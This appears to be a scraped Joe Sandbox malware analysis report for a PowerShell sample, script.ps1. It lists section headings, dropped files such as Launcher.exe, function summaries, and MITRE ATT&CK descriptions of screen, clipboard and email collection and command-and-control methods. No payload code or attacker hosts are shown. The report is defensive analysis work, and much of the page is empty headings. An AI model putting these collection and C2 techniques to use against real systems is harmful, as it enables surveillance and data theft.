Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Launcher.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2evbln1x.grp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wx1ljus.31u.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nhbgshs.0ep.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bok0q4ft.2dt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jl43vcbs.krk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_omurlmqj.xxf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbcokcux.iij.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa4woea3.ut5.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4X7XH5VR7CUU9TBFLQZU.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Windows\Temp\Launcher.exe

Windows Analysis Report
script.ps1

Function 0066B905 Relevance: 73.7, APIs: 36, Strings: 6, Instructions: 159
libraryregistryloaderCOMMON

Function 0066B4F0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 127
COMMON

Function 0067642D Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 284
registrycomCOMMON

Function 0066DBA0 Relevance: 114.2, APIs: 50, Strings: 15, Instructions: 422
windowstringCOMMON

Function 0066F616 Relevance: 110.7, APIs: 42, Strings: 21, Instructions: 447
stringwindowCOMMON

Function 0066BB96 Relevance: 100.0, APIs: 46, Strings: 11, Instructions: 246
registrylibrarystringCOMMON

Function 00677A11 Relevance: 94.8, APIs: 33, Strings: 21, Instructions: 294
COMMON

Function 0067020E Relevance: 81.2, APIs: 54, Instructions: 192
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre